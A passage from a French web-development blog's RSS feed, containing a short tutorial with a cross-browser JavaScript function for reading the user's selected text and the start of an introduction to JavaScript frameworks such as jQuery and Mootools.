	<a rel="nofollow"  target="_blank" href="http://www.diigo.com/post?url=http%3A%2F%2Fwww.mcherifi.org%2Fdeveloppement-web%2Fphp%2Fetre-notifie-au-passage-du-robot-google-sur-son-site.html&amp;title=%C3%8Atre%20notifi%C3%A9%20au%20passage%20du%20robot%20google%20sur%20son%20site" title="Diigo"><img src="http://www.mcherifi.org/wp-content/plugins/sociable/images/diigo.png" title="Diigo" alt="Diigo" class="sociable-hovers" /></a>
	<a rel="nofollow"  target="_blank" href="http://cgi.fark.com/cgi/fark/farkit.pl?h=%C3%8Atre%20notifi%C3%A9%20au%20passage%20du%20robot%20google%20sur%20son%20site&amp;u=http%3A%2F%2Fwww.mcherifi.org%2Fdeveloppement-web%2Fphp%2Fetre-notifie-au-passage-du-robot-google-sur-son-site.html" title="Fark"><img src="http://www.mcherifi.org/wp-content/plugins/sociable/images/fark.png" title="Fark" alt="Fark" class="sociable-hovers" /></a>
	<a rel="nofollow"  target="_blank" href="http://www.blogospherenews.com/submit.php?url=http%3A%2F%2Fwww.mcherifi.org%2Fdeveloppement-web%2Fphp%2Fetre-notifie-au-passage-du-robot-google-sur-son-site.html&amp;title=%C3%8Atre%20notifi%C3%A9%20au%20passage%20du%20robot%20google%20sur%20son%20site" title="Blogosphere News"><img src="http://www.mcherifi.org/wp-content/plugins/sociable/images/blogospherenews.png" title="Blogosphere News" alt="Blogosphere News" class="sociable-hovers" /></a>
	<a rel="nofollow"  target="_blank" href="http://cimlap.blogter.hu/index.php?action=suggest_link&amp;title=%C3%8Atre%20notifi%C3%A9%20au%20passage%20du%20robot%20google%20sur%20son%20site&amp;url=http%3A%2F%2Fwww.mcherifi.org%2Fdeveloppement-web%2Fphp%2Fetre-notifie-au-passage-du-robot-google-sur-son-site.html" title="blogtercimlap"><img src="http://www.mcherifi.org/wp-content/plugins/sociable/images/blogter.png" title="blogtercimlap" alt="blogtercimlap" class="sociable-hovers" /></a>


<br/><br/>
<p class="FacebookLikeButton"><fb:like href="http%3A%2F%2Fwww.mcherifi.org%2Fdeveloppement-web%2Fphp%2Fetre-notifie-au-passage-du-robot-google-sur-son-site.html" layout="standard" show_faces="true" width="450" action="like" colorscheme="light"></fb:like></p>
]]></content:encoded>
			<wfw:commentRss>http://www.mcherifi.org/developpement-web/php/etre-notifie-au-passage-du-robot-google-sur-son-site.html/feed</wfw:commentRss>
		<slash:comments>8</slash:comments>
		</item>
		<item>
		<title>Javascript: comment récupérer le texte sélectionné</title>
		<link>http://www.mcherifi.org/developpement-web/javascript/javascript-comment-recuperer-le-texte-selectionne.html</link>
		<comments>http://www.mcherifi.org/developpement-web/javascript/javascript-comment-recuperer-le-texte-selectionne.html#comments</comments>
		<pubDate>Sat, 10 Oct 2009 00:35:49 +0000</pubDate>
		<dc:creator>Mohammed CHERIFI</dc:creator>
				<category><![CDATA[JavaScript]]></category>
		<category><![CDATA[javascript text selection]]></category>
		<category><![CDATA[récuperer selection]]></category>
		<category><![CDATA[selected text]]></category>

		<guid isPermaLink="false">http://www.mcherifi.org/?p=291</guid>
		<description><![CDATA[TweetEn javascript, parfois on a besoin de récupérer le texte sélectionné par le client, c&#8217;est souvent utilisé si vous développez votre propre éditeur wysiwig afin de mettre un texte en gras ou placer un lien hypertexte autour de votre sélection! 
Bref voici une fonction cross-browser qui vous permet cela!
Code : 

getSelectedText = function(){
   [...]]]></description>
			<content:encoded><![CDATA[<a href="http://twitter.com/share" class="twitter-share-button" data-url="http://www.mcherifi.org/developpement-web/javascript/javascript-comment-recuperer-le-texte-selectionne.html" data-text="Javascript: comment récupérer le texte sélectionné" data-count="horizontal">Tweet</a><p><script type="text/javascript" src="http://code.jquery.com/jquery-1.4.2.min.js"></script>En javascript, parfois on a besoin de récupérer le texte sélectionné par le client, c&#8217;est souvent utilisé si vous développez votre propre éditeur <acronym title="What You See Is What You GET">wysiwig</acronym> afin de mettre un texte en gras ou placer un lien hypertexte autour de votre sélection! </p>
<p>Bref voici une fonction <acronym title="Compatible avec tous les navigateurs">cross-browser</acronym> qui vous permet cela!</p>
<p><strong>Code : </strong></p>
<pre class="brush: javascript">
getSelectedText = function(){
    selectedText = &#039;&#039;;
    // Gecko, Webkit
    if (window.getSelection) {
        selectedText = window.getSelection();
    }
    // Si IE
    else if (document.selection) {
        selectedText = document.selection.createRange().text;
    }
    return selectedText ;
}
</pre>
<p><strong>Et si on fait un test !</strong></p>
<p><script type="text/javascript">
getSelectedText = function(){
    selectedText = '';
    // Gecko, Webkit
    if (window.getSelection) {
        selectedText = window.getSelection();
    }
    // Si IE
    else if (document.selection) {
        selectedText = document.selection.createRange().text;
    }
    return selectedText ;
}
$(window).ready(function(){
$('#selectedtextbtn').click(function(){
textselection = getSelectedText();
if(textselection == ""){ alert("Oups! vous n'avez rien sélectionné !"); }
else{alert("Voilà! \nVous avez sélectionné : \n"+textselection );}
});
});
</script></p>
<p>Sélectionnez un texte quelconque dans le blog, et cliquez sur le bouton ci dessous! </p>
<p><center><br />
<input type="button" value="Afficher le texte sélectionné" id="selectedtextbtn"/></center></p>
<p>voilà c&#8217;est aussi simple que ça!</p>



Partager cet article:


	<a rel="nofollow"  target="_blank" href="http://www.mcherifi.org/wp-content/plugins/sociable/awesmate.php?c=twitter&t=http%3A%2F%2Fwww.mcherifi.org%2Fdeveloppement-web%2Fjavascript%2Fjavascript-comment-recuperer-le-texte-selectionne.html&d=http://twitter.com/home?status=Javascript%3A%20comment%20r%C3%A9cup%C3%A9rer%20le%20texte%20s%C3%A9lectionn%C3%A9%20-%20TARGET" title="Twitter"><img src="http://www.mcherifi.org/wp-content/plugins/sociable/images/twitter.png" title="Twitter" alt="Twitter" class="sociable-hovers" /></a>
	<a rel="nofollow"  target="_blank" href="http://www.mcherifi.org/wp-content/plugins/sociable/awesmate.php?c=facebook-post&t=http%3A%2F%2Fwww.mcherifi.org%2Fdeveloppement-web%2Fjavascript%2Fjavascript-comment-recuperer-le-texte-selectionne.html&d=http://www.facebook.com/share.php?u=TARGET%26t=Javascript%3A%20comment%20r%C3%A9cup%C3%A9rer%20le%20texte%20s%C3%A9lectionn%C3%A9" title="Facebook"><img src="http://www.mcherifi.org/wp-content/plugins/sociable/images/facebook.png" title="Facebook" alt="Facebook" class="sociable-hovers" /></a>
	<a rel="nofollow"  target="_blank" href="http://www.google.com/bookmarks/mark?op=edit&amp;bkmk=http%3A%2F%2Fwww.mcherifi.org%2Fdeveloppement-web%2Fjavascript%2Fjavascript-comment-recuperer-le-texte-selectionne.html&amp;title=Javascript%3A%20comment%20r%C3%A9cup%C3%A9rer%20le%20texte%20s%C3%A9lectionn%C3%A9&amp;annotation=En%20javascript%2C%20parfois%20on%20a%20besoin%20de%20r%C3%A9cup%C3%A9rer%20le%20texte%20s%C3%A9lectionn%C3%A9%20par%20le%20client%2C%20c%27est%20souvent%20utilis%C3%A9%20si%20vous%20d%C3%A9veloppez%20votre%20propre%20%C3%A9diteur%20wysiwig%20afin%20de%20mettre%20un%20texte%20en%20gras%20ou%20placer%20un%20lien%20hypertexte%20autour%20de%20votre%20s%C3%A9lection%21%20" title="Google Bookmarks"><img src="http://www.mcherifi.org/wp-content/plugins/sociable/images/googlebookmark.png" title="Google Bookmarks" alt="Google Bookmarks" class="sociable-hovers" /></a>
	<a rel="nofollow"  target="_blank" href="http://delicious.com/post?url=http%3A%2F%2Fwww.mcherifi.org%2Fdeveloppement-web%2Fjavascript%2Fjavascript-comment-recuperer-le-texte-selectionne.html&amp;title=Javascript%3A%20comment%20r%C3%A9cup%C3%A9rer%20le%20texte%20s%C3%A9lectionn%C3%A9&amp;notes=En%20javascript%2C%20parfois%20on%20a%20besoin%20de%20r%C3%A9cup%C3%A9rer%20le%20texte%20s%C3%A9lectionn%C3%A9%20par%20le%20client%2C%20c%27est%20souvent%20utilis%C3%A9%20si%20vous%20d%C3%A9veloppez%20votre%20propre%20%C3%A9diteur%20wysiwig%20afin%20de%20mettre%20un%20texte%20en%20gras%20ou%20placer%20un%20lien%20hypertexte%20autour%20de%20votre%20s%C3%A9lection%21%20" title="del.icio.us"><img src="http://www.mcherifi.org/wp-content/plugins/sociable/images/delicious.png" title="del.icio.us" alt="del.icio.us" class="sociable-hovers" /></a>
	<a rel="nofollow"  target="_blank" href="http://www.netvibes.com/share?title=Javascript%3A%20comment%20r%C3%A9cup%C3%A9rer%20le%20texte%20s%C3%A9lectionn%C3%A9&amp;url=http%3A%2F%2Fwww.mcherifi.org%2Fdeveloppement-web%2Fjavascript%2Fjavascript-comment-recuperer-le-texte-selectionne.html" title="Netvibes"><img src="http://www.mcherifi.org/wp-content/plugins/sociable/images/netvibes.png" title="Netvibes" alt="Netvibes" class="sociable-hovers" /></a>
	<a rel="nofollow"  target="_blank" href="http://www.viadeo.com/shareit/share/?url=http%3A%2F%2Fwww.mcherifi.org%2Fdeveloppement-web%2Fjavascript%2Fjavascript-comment-recuperer-le-texte-selectionne.html&title=Javascript%3A%20comment%20r%C3%A9cup%C3%A9rer%20le%20texte%20s%C3%A9lectionn%C3%A9&urllanguage=fr" title="viadeo FR"><img src="http://www.mcherifi.org/wp-content/plugins/sociable/images/viadeo.png" title="viadeo FR" alt="viadeo FR" class="sociable-hovers" /></a>
	<a rel="nofollow"  target="_blank" href="http://digg.com/submit?phase=2&amp;url=http%3A%2F%2Fwww.mcherifi.org%2Fdeveloppement-web%2Fjavascript%2Fjavascript-comment-recuperer-le-texte-selectionne.html&amp;title=Javascript%3A%20comment%20r%C3%A9cup%C3%A9rer%20le%20texte%20s%C3%A9lectionn%C3%A9&amp;bodytext=En%20javascript%2C%20parfois%20on%20a%20besoin%20de%20r%C3%A9cup%C3%A9rer%20le%20texte%20s%C3%A9lectionn%C3%A9%20par%20le%20client%2C%20c%27est%20souvent%20utilis%C3%A9%20si%20vous%20d%C3%A9veloppez%20votre%20propre%20%C3%A9diteur%20wysiwig%20afin%20de%20mettre%20un%20texte%20en%20gras%20ou%20placer%20un%20lien%20hypertexte%20autour%20de%20votre%20s%C3%A9lection%21%20" title="Digg"><img src="http://www.mcherifi.org/wp-content/plugins/sociable/images/digg.png" title="Digg" alt="Digg" class="sociable-hovers" /></a>
	<a rel="nofollow"  target="_blank" href="http://www.linkedin.com/shareArticle?mini=true&amp;url=http%3A%2F%2Fwww.mcherifi.org%2Fdeveloppement-web%2Fjavascript%2Fjavascript-comment-recuperer-le-texte-selectionne.html&amp;title=Javascript%3A%20comment%20r%C3%A9cup%C3%A9rer%20le%20texte%20s%C3%A9lectionn%C3%A9&amp;source=Mohammed+CHERIFI+Another+Web+Developper+Blog%21&amp;summary=En%20javascript%2C%20parfois%20on%20a%20besoin%20de%20r%C3%A9cup%C3%A9rer%20le%20texte%20s%C3%A9lectionn%C3%A9%20par%20le%20client%2C%20c%27est%20souvent%20utilis%C3%A9%20si%20vous%20d%C3%A9veloppez%20votre%20propre%20%C3%A9diteur%20wysiwig%20afin%20de%20mettre%20un%20texte%20en%20gras%20ou%20placer%20un%20lien%20hypertexte%20autour%20de%20votre%20s%C3%A9lection%21%20" title="LinkedIn"><img src="http://www.mcherifi.org/wp-content/plugins/sociable/images/linkedin.png" title="LinkedIn" alt="LinkedIn" class="sociable-hovers" /></a>
	<a rel="nofollow"  target="_blank" href="http://slashdot.org/bookmark.pl?title=Javascript%3A%20comment%20r%C3%A9cup%C3%A9rer%20le%20texte%20s%C3%A9lectionn%C3%A9&amp;url=http%3A%2F%2Fwww.mcherifi.org%2Fdeveloppement-web%2Fjavascript%2Fjavascript-comment-recuperer-le-texte-selectionne.html" title="Slashdot"><img src="http://www.mcherifi.org/wp-content/plugins/sociable/images/slashdot.png" title="Slashdot" alt="Slashdot" class="sociable-hovers" /></a>
	<a rel="nofollow"  target="_blank" href="http://sphinn.com/index.php?c=post&amp;m=submit&amp;link=http%3A%2F%2Fwww.mcherifi.org%2Fdeveloppement-web%2Fjavascript%2Fjavascript-comment-recuperer-le-texte-selectionne.html" title="Sphinn"><img src="http://www.mcherifi.org/wp-content/plugins/sociable/images/sphinn.png" title="Sphinn" alt="Sphinn" class="sociable-hovers" /></a>
	<a rel="nofollow"  target="_blank" href="http://www.mixx.com/submit?page_url=http%3A%2F%2Fwww.mcherifi.org%2Fdeveloppement-web%2Fjavascript%2Fjavascript-comment-recuperer-le-texte-selectionne.html&amp;title=Javascript%3A%20comment%20r%C3%A9cup%C3%A9rer%20le%20texte%20s%C3%A9lectionn%C3%A9" title="Mixx"><img src="http://www.mcherifi.org/wp-content/plugins/sociable/images/mixx.png" title="Mixx" alt="Mixx" class="sociable-hovers" /></a>
	<a  target="_blank" href="http://blogplay.com" title="Blogplay"><img src="http://www.mcherifi.org/wp-content/plugins/sociable/images/blogplay.png" title="Blogplay" alt="Blogplay" class="sociable-hovers" /></a>
	<a rel="nofollow"  target="_blank" href="http://identi.ca/notice/new?status_textarea=http%3A%2F%2Fwww.mcherifi.org%2Fdeveloppement-web%2Fjavascript%2Fjavascript-comment-recuperer-le-texte-selectionne.html" title="Identi.ca"><img src="http://www.mcherifi.org/wp-content/plugins/sociable/images/identica.png" title="Identi.ca" alt="Identi.ca" class="sociable-hovers" /></a>
	<a rel="nofollow"  target="_blank" href="http://www.printfriendly.com/print?url=http%3A%2F%2Fwww.mcherifi.org%2Fdeveloppement-web%2Fjavascript%2Fjavascript-comment-recuperer-le-texte-selectionne.html&amp;partner=sociable" title="Print"><img src="http://www.mcherifi.org/wp-content/plugins/sociable/images/printfriendly.png" title="Print" alt="Print" class="sociable-hovers" /></a>
	<a rel="nofollow"  target="_blank" href="http://www.mcherifi.org/wp-content/plugins/sociable/awesmate.php?c=pingfm&t=http%3A%2F%2Fwww.mcherifi.org%2Fdeveloppement-web%2Fjavascript%2Fjavascript-comment-recuperer-le-texte-selectionne.html&d=http://ping.fm/ref/?link=TARGET%26title=Javascript%3A%20comment%20r%C3%A9cup%C3%A9rer%20le%20texte%20s%C3%A9lectionn%C3%A9%26body=En%20javascript%2C%20parfois%20on%20a%20besoin%20de%20r%C3%A9cup%C3%A9rer%20le%20texte%20s%C3%A9lectionn%C3%A9%20par%20le%20client%2C%20c%27est%20souvent%20utilis%C3%A9%20si%20vous%20d%C3%A9veloppez%20votre%20propre%20%C3%A9diteur%20wysiwig%20afin%20de%20mettre%20un%20texte%20en%20gras%20ou%20placer%20un%20lien%20hypertexte%20autour%20de%20votre%20s%C3%A9lection%21%20" title="Ping.fm"><img src="http://www.mcherifi.org/wp-content/plugins/sociable/images/ping.png" title="Ping.fm" alt="Ping.fm" class="sociable-hovers" /></a>
	<a rel="nofollow"  target="_blank" href="http://www.mcherifi.org/wp-content/plugins/sociable/awesmate.php?c=mailto&t=http%3A%2F%2Fwww.mcherifi.org%2Fdeveloppement-web%2Fjavascript%2Fjavascript-comment-recuperer-le-texte-selectionne.html&d=mailto:?subject=Javascript%3A%20comment%20r%C3%A9cup%C3%A9rer%20le%20texte%20s%C3%A9lectionn%C3%A9%26body=TARGET" title="email"><img src="http://www.mcherifi.org/wp-content/plugins/sociable/images/email_link.png" title="email" alt="email" class="sociable-hovers" /></a>
	<a rel="nofollow"  target="_blank" href="http://posterous.com/share?linkto=http%3A%2F%2Fwww.mcherifi.org%2Fdeveloppement-web%2Fjavascript%2Fjavascript-comment-recuperer-le-texte-selectionne.html&amp;title=Javascript%3A%20comment%20r%C3%A9cup%C3%A9rer%20le%20texte%20s%C3%A9lectionn%C3%A9&amp;selection=En%20javascript%2C%20parfois%20on%20a%20besoin%20de%20r%C3%A9cup%C3%A9rer%20le%20texte%20s%C3%A9lectionn%C3%A9%20par%20le%20client%2C%20c%27est%20souvent%20utilis%C3%A9%20si%20vous%20d%C3%A9veloppez%20votre%20propre%20%C3%A9diteur%20wysiwig%20afin%20de%20mettre%20un%20texte%20en%20gras%20ou%20placer%20un%20lien%20hypertexte%20autour%20de%20votre%20s%C3%A9lection%21%20" title="Posterous"><img src="http://www.mcherifi.org/wp-content/plugins/sociable/images/posterous.png" title="Posterous" alt="Posterous" class="sociable-hovers" /></a>
	<a rel="nofollow"  target="_blank" href="http://reddit.com/submit?url=http%3A%2F%2Fwww.mcherifi.org%2Fdeveloppement-web%2Fjavascript%2Fjavascript-comment-recuperer-le-texte-selectionne.html&amp;title=Javascript%3A%20comment%20r%C3%A9cup%C3%A9rer%20le%20texte%20s%C3%A9lectionn%C3%A9" title="Reddit"><img src="http://www.mcherifi.org/wp-content/plugins/sociable/images/reddit.png" title="Reddit" alt="Reddit" class="sociable-hovers" /></a>
	<a rel="nofollow"  target="_blank" href="http://buzz.yahoo.com/submit/?submitUrl=http%3A%2F%2Fwww.mcherifi.org%2Fdeveloppement-web%2Fjavascript%2Fjavascript-comment-recuperer-le-texte-selectionne.html&amp;submitHeadline=Javascript%3A%20comment%20r%C3%A9cup%C3%A9rer%20le%20texte%20s%C3%A9lectionn%C3%A9&amp;submitSummary=En%20javascript%2C%20parfois%20on%20a%20besoin%20de%20r%C3%A9cup%C3%A9rer%20le%20texte%20s%C3%A9lectionn%C3%A9%20par%20le%20client%2C%20c%27est%20souvent%20utilis%C3%A9%20si%20vous%20d%C3%A9veloppez%20votre%20propre%20%C3%A9diteur%20wysiwig%20afin%20de%20mettre%20un%20texte%20en%20gras%20ou%20placer%20un%20lien%20hypertexte%20autour%20de%20votre%20s%C3%A9lection%21%20&amp;submitCategory=science&amp;submitAssetType=text" title="Yahoo! Buzz"><img src="http://www.mcherifi.org/wp-content/plugins/sociable/images/yahoobuzz.png" title="Yahoo! Buzz" alt="Yahoo! Buzz" class="sociable-hovers" /></a>
	<a rel="nofollow"  target="_blank" href="http://www.printfriendly.com/print?url=http%3A%2F%2Fwww.mcherifi.org%2Fdeveloppement-web%2Fjavascript%2Fjavascript-comment-recuperer-le-texte-selectionne.html&amp;partner=sociable" title="PDF"><img src="http://www.mcherifi.org/wp-content/plugins/sociable/images/pdf.png" title="PDF" alt="PDF" class="sociable-hovers" /></a>
	<a rel="nofollow"  target="_blank" href="http://www.mcherifi.org/feed" title="RSS"><img src="http://www.mcherifi.org/wp-content/plugins/sociable/images/rss.png" title="RSS" alt="RSS" class="sociable-hovers" /></a>
	<a rel="nofollow"  target="_blank" href="http://www.diigo.com/post?url=http%3A%2F%2Fwww.mcherifi.org%2Fdeveloppement-web%2Fjavascript%2Fjavascript-comment-recuperer-le-texte-selectionne.html&amp;title=Javascript%3A%20comment%20r%C3%A9cup%C3%A9rer%20le%20texte%20s%C3%A9lectionn%C3%A9" title="Diigo"><img src="http://www.mcherifi.org/wp-content/plugins/sociable/images/diigo.png" title="Diigo" alt="Diigo" class="sociable-hovers" /></a>
	<a rel="nofollow"  target="_blank" href="http://cgi.fark.com/cgi/fark/farkit.pl?h=Javascript%3A%20comment%20r%C3%A9cup%C3%A9rer%20le%20texte%20s%C3%A9lectionn%C3%A9&amp;u=http%3A%2F%2Fwww.mcherifi.org%2Fdeveloppement-web%2Fjavascript%2Fjavascript-comment-recuperer-le-texte-selectionne.html" title="Fark"><img src="http://www.mcherifi.org/wp-content/plugins/sociable/images/fark.png" title="Fark" alt="Fark" class="sociable-hovers" /></a>
	<a rel="nofollow"  target="_blank" href="http://www.blogospherenews.com/submit.php?url=http%3A%2F%2Fwww.mcherifi.org%2Fdeveloppement-web%2Fjavascript%2Fjavascript-comment-recuperer-le-texte-selectionne.html&amp;title=Javascript%3A%20comment%20r%C3%A9cup%C3%A9rer%20le%20texte%20s%C3%A9lectionn%C3%A9" title="Blogosphere News"><img src="http://www.mcherifi.org/wp-content/plugins/sociable/images/blogospherenews.png" title="Blogosphere News" alt="Blogosphere News" class="sociable-hovers" /></a>
	<a rel="nofollow"  target="_blank" href="http://cimlap.blogter.hu/index.php?action=suggest_link&amp;title=Javascript%3A%20comment%20r%C3%A9cup%C3%A9rer%20le%20texte%20s%C3%A9lectionn%C3%A9&amp;url=http%3A%2F%2Fwww.mcherifi.org%2Fdeveloppement-web%2Fjavascript%2Fjavascript-comment-recuperer-le-texte-selectionne.html" title="blogtercimlap"><img src="http://www.mcherifi.org/wp-content/plugins/sociable/images/blogter.png" title="blogtercimlap" alt="blogtercimlap" class="sociable-hovers" /></a>


<br/><br/>
<p class="FacebookLikeButton"><fb:like href="http%3A%2F%2Fwww.mcherifi.org%2Fdeveloppement-web%2Fjavascript%2Fjavascript-comment-recuperer-le-texte-selectionne.html" layout="standard" show_faces="true" width="450" action="like" colorscheme="light"></fb:like></p>
]]></content:encoded>
			<wfw:commentRss>http://www.mcherifi.org/developpement-web/javascript/javascript-comment-recuperer-le-texte-selectionne.html/feed</wfw:commentRss>
		<slash:comments>3</slash:comments>
		</item>
		<item>
		<title>Introduction aux frameworks JavaScript</title>
		<link>http://www.mcherifi.org/developpement-web/introduction-aux-frameworks-javascript.html</link>
		<comments>http://www.mcherifi.org/developpement-web/introduction-aux-frameworks-javascript.html#comments</comments>
		<pubDate>Mon, 17 Aug 2009 01:41:29 +0000</pubDate>
		<dc:creator>Mohammed CHERIFI</dc:creator>
				<category><![CDATA[Développement WEB]]></category>
		<category><![CDATA[cross-browsing]]></category>
		<category><![CDATA[dojo]]></category>
		<category><![CDATA[framework javascript]]></category>
		<category><![CDATA[jquery]]></category>
		<category><![CDATA[mootools]]></category>
		<category><![CDATA[prototype]]></category>

		<guid isPermaLink="false">http://localhost/?p=18</guid>
		<description><![CDATA[TweetUn framework JavaScript c&#8217;est quoi?
Un framework JavaScript est un ensemble d&#8217;applications et de fonctionnalités regroupés, c&#8217;est une sorte de boite à outils qui contient toutes les tâches répétitives et courantes, grâce aux frameworks, vous pouvez gagner beaucoup de temps dans vos développements, vous pouvez facilement manipuler le DOM, faire des requêtes AJAX, des animations et [...]]]></description>
			<content:encoded><![CDATA[<a href="http://twitter.com/share" class="twitter-share-button" data-url="http://www.mcherifi.org/developpement-web/introduction-aux-frameworks-javascript.html" data-text="Introduction aux frameworks JavaScript" data-count="horizontal">Tweet</a><h2>Un framework JavaScript c&#8217;est quoi?</h2>
<p><img class="size-full wp-image-125 alignleft" title="javascript" src="http://www.mcherifi.org/wp-content/uploads/2009/08/javascript.gif" alt="javascript" width="220" height="170" />Un framework JavaScript est un ensemble d&#8217;applications et de fonctionnalités regroupés, c&#8217;est une sorte de boite à outils qui contient toutes les tâches répétitives et courantes, grâce aux frameworks, vous pouvez gagner beaucoup de temps dans vos développements, vous pouvez facilement manipuler le DOM, faire des requêtes AJAX, des animations et des effets superbes sur vos pages, et vous aurez tout le temps de vous concentrer sur des taches plus complexes et assez intéressantes ;)</p>
<p>Actuellement il existe plus de 500 frameworks JavaScript , ces frameworks qui ne cessent d&#8217;évoluer depuis l&#8217;apparition du WEB2.0</p>
<h2>Faire du WEB2.0!</h2>
<p>Il faut savoir que le WEB2.0 est concrètement basé sur le JavaScript du point de vue technique!  particulièrement grâce à sa capacité de faire des appels asynchrones vers les serveurs WEB via l&#8217;objet XMLHttpRequest, inventé par Microsoft en 2001, ce dernier permet aux visiteurs d&#8217;accéder aux nouveaux contenus sans avoir à cliquer ou rafraichir la page, cette fonctionnalité a été implémenté dans le DHTML pour donner naissance au WEB2.0.</p>
<p>Cette expérience a permis de donner une nouvelle vision au WEB, qui est devenu de plus en plus dynamique, réactif et innovant</p>
<h2>Pallier aux déficiences des navigateurs actuels</h2>
<p>S&#8217;assurer que son code javascript est compatible avec tous les navigateurs modernes est l&#8217;une des tâches les plus pénibles pour un développeur WEB (<a title="cross browser" href="http://fr.wikipedia.org/wiki/Cross-Browser">cross-browsing</a>), d&#8217;où le grand avantage des frameworks javascript: vous n&#8217;avez plus à gérer les dépendances entre les différents navigateurs (sélecteurs, gestion des évènements, méthodes de manipulation DOM..), votre framework javascript le fera à votre place et vous facilitera la vie ;)</p>
<h2>Quel framework JavaScript utiliser?</h2>
<p>Voici une liste des frameworks JavaScript les plus populaires :</p>
<ul>
<li><a title="Framework JavaScript jQuery" href="http://jquery.com/">jQuery</a></li>
<li><a title="Framework JavaScript Prototype" href="http://www.prototypejs.org/">Prototype</a></li>
<li><a title="Framework JavaScript YUI" href="http://developer.yahoo.com/yui/">Yahoo! User Interface</a></li>
<li><a title="Framework JavaScript Dojo" href="http://www.dojotoolkit.org/">Dojo</a></li>
<li><a title="Framework JavaScript Mootools" href="http://mootools.net/">Mootools</a></li>
<li><a title="Framework JavaScript Ext JS" href="http://extjs.com/">Ext JS</a></li>
<li>&#8230;</li>
</ul>
<p>Vu la qualité des outils proposés par les différents frameworks, il est difficile de recommander un en particulier, mais personnellement je préfère jQuery puis mootools grâce à  leurs qualité de documentation, leurs communautés très large, et leurs simplicité!</p>
<p>Vous pourriez préférer d&#8217;autres mais je vous invite à les essayer tous et utiliser celui avec lequel vous vous sentez plus à l&#8217;aise!</p>



Partager cet article:


	<a rel="nofollow"  target="_blank" href="http://www.mcherifi.org/wp-content/plugins/sociable/awesmate.php?c=twitter&t=http%3A%2F%2Fwww.mcherifi.org%2Fdeveloppement-web%2Fintroduction-aux-frameworks-javascript.html&d=http://twitter.com/home?status=Introduction%20aux%20frameworks%20JavaScript%20-%20TARGET" title="Twitter"><img src="http://www.mcherifi.org/wp-content/plugins/sociable/images/twitter.png" title="Twitter" alt="Twitter" class="sociable-hovers" /></a>
	<a rel="nofollow"  target="_blank" href="http://www.mcherifi.org/wp-content/plugins/sociable/awesmate.php?c=facebook-post&t=http%3A%2F%2Fwww.mcherifi.org%2Fdeveloppement-web%2Fintroduction-aux-frameworks-javascript.html&d=http://www.facebook.com/share.php?u=TARGET%26t=Introduction%20aux%20frameworks%20JavaScript" title="Facebook"><img src="http://www.mcherifi.org/wp-content/plugins/sociable/images/facebook.png" title="Facebook" alt="Facebook" class="sociable-hovers" /></a>
	<a rel="nofollow"  target="_blank" href="http://www.google.com/bookmarks/mark?op=edit&amp;bkmk=http%3A%2F%2Fwww.mcherifi.org%2Fdeveloppement-web%2Fintroduction-aux-frameworks-javascript.html&amp;title=Introduction%20aux%20frameworks%20JavaScript&amp;annotation=Un%20framework%20JavaScript%20c%27est%20quoi%3F%0D%0AUn%20framework%20JavaScript%20est%20un%20ensemble%20d%27applications%20et%20de%20fonctionnalit%C3%A9s%20regroup%C3%A9s%2C%20c%27est%20une%20sorte%20de%20boite%20%C3%A0%20outils%20qui%20contient%20toutes%20les%20t%C3%A2ches%20r%C3%A9p%C3%A9titives%20et%20courantes%2C%20gr%C3%A2ce%20aux%20frameworks%2C%20vous%20" title="Google Bookmarks"><img src="http://www.mcherifi.org/wp-content/plugins/sociable/images/googlebookmark.png" title="Google Bookmarks" alt="Google Bookmarks" class="sociable-hovers" /></a>
	<a rel="nofollow"  target="_blank" href="http://delicious.com/post?url=http%3A%2F%2Fwww.mcherifi.org%2Fdeveloppement-web%2Fintroduction-aux-frameworks-javascript.html&amp;title=Introduction%20aux%20frameworks%20JavaScript&amp;notes=Un%20framework%20JavaScript%20c%27est%20quoi%3F%0D%0AUn%20framework%20JavaScript%20est%20un%20ensemble%20d%27applications%20et%20de%20fonctionnalit%C3%A9s%20regroup%C3%A9s%2C%20c%27est%20une%20sorte%20de%20boite%20%C3%A0%20outils%20qui%20contient%20toutes%20les%20t%C3%A2ches%20r%C3%A9p%C3%A9titives%20et%20courantes%2C%20gr%C3%A2ce%20aux%20frameworks%2C%20vous%20" title="del.icio.us"><img src="http://www.mcherifi.org/wp-content/plugins/sociable/images/delicious.png" title="del.icio.us" alt="del.icio.us" class="sociable-hovers" /></a>
	<a rel="nofollow"  target="_blank" href="http://www.netvibes.com/share?title=Introduction%20aux%20frameworks%20JavaScript&amp;url=http%3A%2F%2Fwww.mcherifi.org%2Fdeveloppement-web%2Fintroduction-aux-frameworks-javascript.html" title="Netvibes"><img src="http://www.mcherifi.org/wp-content/plugins/sociable/images/netvibes.png" title="Netvibes" alt="Netvibes" class="sociable-hovers" /></a>
	<a rel="nofollow"  target="_blank" href="http://www.viadeo.com/shareit/share/?url=http%3A%2F%2Fwww.mcherifi.org%2Fdeveloppement-web%2Fintroduction-aux-frameworks-javascript.html&title=Introduction%20aux%20frameworks%20JavaScript&urllanguage=fr" title="viadeo FR"><img src="http://www.mcherifi.org/wp-content/plugins/sociable/images/viadeo.png" title="viadeo FR" alt="viadeo FR" class="sociable-hovers" /></a>
	<a rel="nofollow"  target="_blank" href="http://digg.com/submit?phase=2&amp;url=http%3A%2F%2Fwww.mcherifi.org%2Fdeveloppement-web%2Fintroduction-aux-frameworks-javascript.html&amp;title=Introduction%20aux%20frameworks%20JavaScript&amp;bodytext=Un%20framework%20JavaScript%20c%27est%20quoi%3F%0D%0AUn%20framework%20JavaScript%20est%20un%20ensemble%20d%27applications%20et%20de%20fonctionnalit%C3%A9s%20regroup%C3%A9s%2C%20c%27est%20une%20sorte%20de%20boite%20%C3%A0%20outils%20qui%20contient%20toutes%20les%20t%C3%A2ches%20r%C3%A9p%C3%A9titives%20et%20courantes%2C%20gr%C3%A2ce%20aux%20frameworks%2C%20vous%20" title="Digg"><img src="http://www.mcherifi.org/wp-content/plugins/sociable/images/digg.png" title="Digg" alt="Digg" class="sociable-hovers" /></a>
